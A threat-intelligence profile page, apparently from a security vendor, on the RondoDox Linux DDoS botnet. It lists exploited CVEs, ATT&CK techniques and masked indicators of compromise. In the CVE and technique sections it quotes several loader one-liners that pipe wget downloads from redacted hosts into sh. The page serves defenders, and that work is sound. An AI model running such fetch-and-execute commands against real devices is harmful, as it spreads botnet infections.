MalwareUsed by 1 actorExploits 45 CVEs

RondoDox

RondoDox is a Linux-based botnet malware family used primarily for distributed denial-of-service attacks. Its operators conduct opportunistic mass exploitation of internet-exposed routers, DVRs, IP cameras, NAS devices, network gateways, and enterprise servers. Campaigns target numerous command-injection and remote-code-execution vulnerabilities across embedded firmware, web applications, middleware, and infrastructure-management software, frequently affecting unsupported or end-of-life products. Documented exploitation includes vulnerabilities in TP-Link routers, ASUS routers, PHPUnit, XWiki, and Ray. Activity has expanded beyond consumer IoT devices to enterprise and AI-computing environments.

Infection typically involves a shell-based loader that identifies the host's processor architecture, downloads a compatible Linux ELF payload, and executes it. Distribution supports multiple architectures, including ARM, MIPS, and x86. Loader behavior includes terminating competing malware, removing earlier infections, attempting to disable SELinux and AppArmor, clearing shell history, and suppressing execution output. Infected systems connect to command-and-control infrastructure for operator-directed activity. Analyzed payloads include modular command dispatch, persistence mechanisms, deceptive process or service naming, and encoded or obfuscated strings.

RondoDox campaigns combine broad vulnerability scanning with rapid adoption of additional exploits. Operators rotate staging and distribution infrastructure and have used compromised residential systems to host payloads. The botnet's targeting is broad rather than confined to a single industry, with campaigns reaching government, financial, and industrial environments.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

45 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

45 CVES

CVE-2023-7304Unauthenticated command injection in Ruijie RG-UAC Application Management GatewayExploited in the wild

Ruijie RG-UAC Application Management Gateway contains a command injection vulnerability via the 'nmc_sync.php' interface. VulnCheck has observed this vulnerability being targeted by the RondoDox botnet campaign.

via cvecve.org

CVE-2023-7311Command injection in BYTEVALUE Intelligent Flow Control RouterExploited in the wild

BYTEVALUE Intelligent Flow Control Router contains a command injection vulnerability via the /goform/webRead/open endpoint. The `path` parameter is not properly validated and is echoed into a shell context, allowing an attacker to inject and execute arbitrary shell commands on the device. VulnCheck has observed this vulnerability being targeted by the RondoDox botnet campaign.

via cvecve.org

CVE-2025-55182React2ShellExploited in the wild

Reporting links activity to React2Shell (CVE-2025-55182) exploitation against Next.js servers in December.

via logpointlogpoint.com

CVE-2025-24893Unauthenticated RCE in XWiki SolrSearchExploited in the wild

Reporting links activity to XWiki RCE (CVE-2025-24893) in November.

via logpointlogpoint.com

CVE-2023-1389Unauthenticated root command injection in TP-Link Archer AX21Exploited in the wild

Первый зафиксированный эксплойт - CVE-2023-1389 ... (command injection в TP-Link Archer AX21, CVSS 8.8 ...). Эта CVE в CISA KEV с мая 2023 года. | «RondoDox - Mirai-производный ботнет, впервые зафиксированный Bitsight в мае 2025 года.»

via codebycodeby.net

CVE-2025-62593Browser-guard bypass leading to remote code execution in RayExploited in the wild

Атакующий комбинирует подмену User-Agent с DNS rebinding ... Исправлена в Ray 2.52.0. ... RondoDox добавил CVE-2025-62593 ... за два дня до публичного раскрытия PoC. | «RondoDox - Mirai-производный ботнет, впервые зафиксированный Bitsight в мае 2025 года.»

via codebycodeby.net

CVE-2017-17215Command Injection in Huawei HG532 DeviceUpgrade

Breadcrumbs threat_research / rondodox / cve_poc_table.md ... Latest commit ... RondoDox IoCs ... numerous CVE PoC entries fetch and execute payloads such as 'wget -qO- http://<REDACTED_IP>/rondo.sh|sh' and binaries like './rondo huawei.mips'.

via github webgithub.com

CVE-2016-20017Unauthenticated command injection in D-Link DSL-2750B

via github webgithub.com

CVE-2017-18369Unauthenticated Command Injection in Billion 5200W-T Remote System Log

via github webgithub.com

CVE-2014-6271Shellshock

via github webgithub.com

CVE-2024-53944Root Command Injection in Tuoshi/Dionlink LT15D and LT21B 4G Wi-Fi Devices

via github webgithub.com

CVE-2022-36267Unauthenticated Remote Command Injection in Airspan AirSpot 5410 Diagnostics

via github webgithub.com

CVE-2023-34960Command Injection in Chamilo wsConvertPpt

via github webgithub.com

CVE-2020-16846Command injection in SaltStack Salt netapi SSH client

via github webgithub.com

CVE-2002-1951Remote Code Execution in GoAhead WebServer 2.1 via HTTP GET Buffer Overflow

via github webgithub.com

CVE-2018-10562Command injection in Dasan GPON router diagnostics

via github webgithub.com

CVE-2017-9841Unauthenticated PHP code execution in PHPUnit

via github webgithub.com

CVE-2023-26802Unauthenticated command execution in DCN DCBI-Netlog-LAB

via github webgithub.com

CVE-2013-7471SOAP command injection in D-Link DIR routers

via github webgithub.com

CVE-2021-28151OS Command Injection in Hongdian H8922 tools.cgi ping command

via github webgithub.com

CVE-2019-9082Remote Code Execution in ThinkPHP

via github webgithub.com

CVE-2018-25126Hard-coded API credentials and root command injection in TVT NVMS-9000

via github webgithub.com

CVE-2025-7673Buffer Overflow in Zyxel VMG8825-T50K zhttpd URL Parser

via github webgithub.com

CVE-2024-14007Authentication Bypass and Credential Disclosure in TVT NVMS-9000

via github webgithub.com

CVE-2017-18368Unauthenticated command injection in ZyXEL P660HN-T1A

via github webgithub.com

CVE-2014-8361Command injection in Realtek SDK miniigd SOAP service

via github webgithub.com

CVE-2020-28188Unauthenticated OS Command Injection in TerraMaster TOS

via github webgithub.com

CVE-2021-1498Unauthenticated Command Injection in Cisco HyperFlex HX Web Management Interface

via github webgithub.com

CVE-2024-7120OS command injection in Raisecom MSG gateway web interface

via github webgithub.com

CVE-2025-34037Unauthenticated OS command injection in Linksys E-Series routers

via github webgithub.com

CVE-2021-27561Unauthenticated Root Command Injection in Yealink Device Management

via github webgithub.com

CVE-2014-2321Remote administrative access in ZTE F460 and F660 modems

via github webgithub.com

CVE-2019-12780Unauthenticated Command Injection in Belkin Wemo Enabled Crock-Pot UPnP API

via github webgithub.com

CVE-2025-9528OS Command Injection in Linksys E1700 systemCommand

via github webgithub.com

CVE-2022-24112Apache APISIX batch-requests IP restriction bypass and RCE

via github webgithub.com

CVE-2022-34538Command injection in Digital Watchdog DW MEGApix IP cameras

via github webgithub.com

CVE-2019-25024Unauthenticated Command Injection in OpenRepeater pre-2.2

via github webgithub.com

CVE-2018-7600Drupalgeddon2

via github webgithub.com

CVE-2024-4582OS Command Injection in Faraday GM8181/GM828x NTP Service

via github webgithub.com

CVE-2022-22963Spring Cloud Function SpEL Routing Expression RCE

via github webgithub.com

CVE-2021-22502Remote Code Execution in Micro Focus Operation Bridge Reporter 10.40

via github webgithub.com

CVE-2025-32756Unauthenticated remote code execution in multiple Fortinet products

via github webgithub.com

CVE-2018-7841Unauthenticated command injection in Schneider Electric U.Motion Builder

via github webgithub.com

CVE-2024-3721Unauthenticated OS Command Injection in TBK DVR-4104 and DVR-4216

via github webgithub.com

CVE-2020-18568Command Injection in D-Link DSR-250/DSR-1000N UPnP Service

via github webgithub.com

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

RondoDox

"Most of November’s volume tracked to a single cluster we associate with RondoDox distribution. 76% of attempts (737 out of 969) matched the same delivery pattern... with payloads that fetch and execute a first-stage script... ( wget -qO- http://74.###.###.52/rondo.ame.sh ... ) | sh"

via f5f5.com

MITRE ATT&CK

Techniques & procedures

21 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1595Active ScanningEvidence3

RondoDox relies on a multi-stage attack chain built around mass exploitation... Its scans for exposed devices, attempting to exploit one of possibly dozens of embedded CVEs at once

Resource Development

2 techniques

T1584.005BotnetEvidence2

«Resource Dev T1584.005 (Botnet) ... Наращивание ботнет-инфраструктуры»

T1588.006VulnerabilitiesEvidence1

«T1588.006 (Vulnerabilities) ... Мониторинг CVE-дискложуров и PoC до публичного раскрытия»

Initial Access

1 technique

T1190Exploit Public-Facing ApplicationEvidence7

«Initial Access T1190 (Exploit Public-Facing Application) ... POST к /api/jobs/ на Ray Dashboard»

Execution

4 techniques

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

T1059Command and Scripting InterpreterEvidence4

Many payloads invoke shell execution, e.g. "|sh", "/bin/bash -c \"wget -qO- http://<REDACTED_IP>/rondo.bash.sh|sh&\"", "require('child_process').exec(...)", and "java.lang.Runtime.getRuntime().exec(...)".

T1059.004Unix ShellEvidence3

«Execution T1059.004 (Unix Shell) ... Shell-скрипт без записи на диск»

T1203Exploitation for Client ExecutionEvidence6

Cette vulnérabilité permet une exécution de code à distance (RCE) et est exploitée à grande échelle par le botnet RondoDox

Persistence

1 technique

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

Privilege Escalation

1 technique

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

Stealth

6 techniques

T1036MasqueradingEvidence1

The table shows varied User-Agent strings and email-like identifiers such as "Mozilla/5.0 (bang2012@tutanota.de)", "Mozilla/5.0 (bang2012@protonmail.com)", and browser-like Chrome user agents.

T1070Indicator RemovalEvidence1

It then attempts to remove other threats, both by checking specific file locations and by removing entries from the victim's crontabs.

T1218System Binary Proxy ExecutionEvidence1

The payloads repeatedly rely on native utilities such as "wget", "busybox wget", "curl", and shell interpreters already present on the target device.

T1497Virtualization/Sandbox EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

T1620Reflective Code LoadingEvidence1

The payloads we’ve observed always prevent the initial implant to be written to disk, piping the output of one command into another.

T1622Debugger EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

Discovery

2 techniques

T1497Virtualization/Sandbox EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

T1622Debugger EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

Command and Control

3 techniques

T1071Application Layer ProtocolEvidence4

This isn’t hypothetical — it’s the entire history of IoT botnets, from Mirai in 2016 through the Aisuru and RondoDox campaigns still running in 2025–2026, which scan the internet for devices with default passwords and enroll them automatically.

T1090.002External ProxyEvidence1

Likely usage of compromised residential IPs as hosting infrastructure

T1105Ingress Tool TransferEvidence4

«T1105 (Ingress Tool Transfer) ... Загрузка бинаря под конкретную архитектуру»

Impact

4 techniques

T1496Resource HijackingEvidence3

utilisés pour mener des attaques par déni de service distribué (DDoS), des opérations de minage de cryptomonnaies

T1496.001Compute HijackingEvidence1

«Compute Hijacking (T1496.001, Impact) ... запуск XMRig и других майнеров на GPU»

T1498Network Denial of ServiceEvidence3

afin de constituer de vastes réseaux de bots utilisés pour mener des attaques par déni de service distribué (DDoS)

T1499Endpoint Denial of ServiceEvidence1

"Unlike Mirai, this malware’s sole purpose is to execute DoS attacks..."

INDICATORS OF COMPROMISE

IOCs tracked for this family

192 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

137 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

38 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

17 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

ip.v4●●●●●●●●●●●●View more in app1 month ago

domain●●●●●●●●●●●●View more in app2 months ago

domain●●●●●●●●●●●●View more in app3 months ago

email●●●●●●●●●●●●View more in app3 months ago

domain●●●●●●●●●●●●View more in app3 months ago

ACTIVITY FEED

Recent activity

84 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

84 SOURCESView more in app

codebyNews

Aug 23, 2026

Ray Framework уязвимость: CVE-2023-48022 и RondoDox

Mirai-derived botnet described as primarily focused on DDoS, while also deploying cryptocurrency miners and stealing credentials. The article reports 174 exploits and support for 18 processor architectures. Its infection chain downloads shell scripts directly into a shell, retrieves architecture-specific binaries, modifies crontab for persistence, and removes competing malware. It targets both IoT devices and Ray AI infrastructure.

the hacker newsNews

Aug 18, 2026

CISA Flags Actively Exploited Ray Flaw That Can Trigger Browser-Based RCE

A DDoS botnet whose operators were reported to have added exploitation of CVE-2025-62593 to their toolkit before public disclosure.

handlers diary fullNews

Jun 25, 2026

What do Ports Hear When Nobody's Listening? An Assessment of Automated Cybercrime [Guest Diary]

A sophisticated botnet observed targeting both enterprise and consumer systems, using staged infrastructure shifts, fileless payloads, broad header-based exploit delivery, and compromised residential routers for scanning and propagation.

osint team blogNews

Jun 22, 2026

When Every Lamppost Can Think: The Security Problem the Octopus Model Ignores | by Berend Watchus | Jun, 2026 | OSINT Team

IoT botnet campaign active in 2025–2026 that scans the internet for devices with default passwords and enrolls them automatically.

+78 more in the timeline

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching192

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities45

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping21

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

RondoDox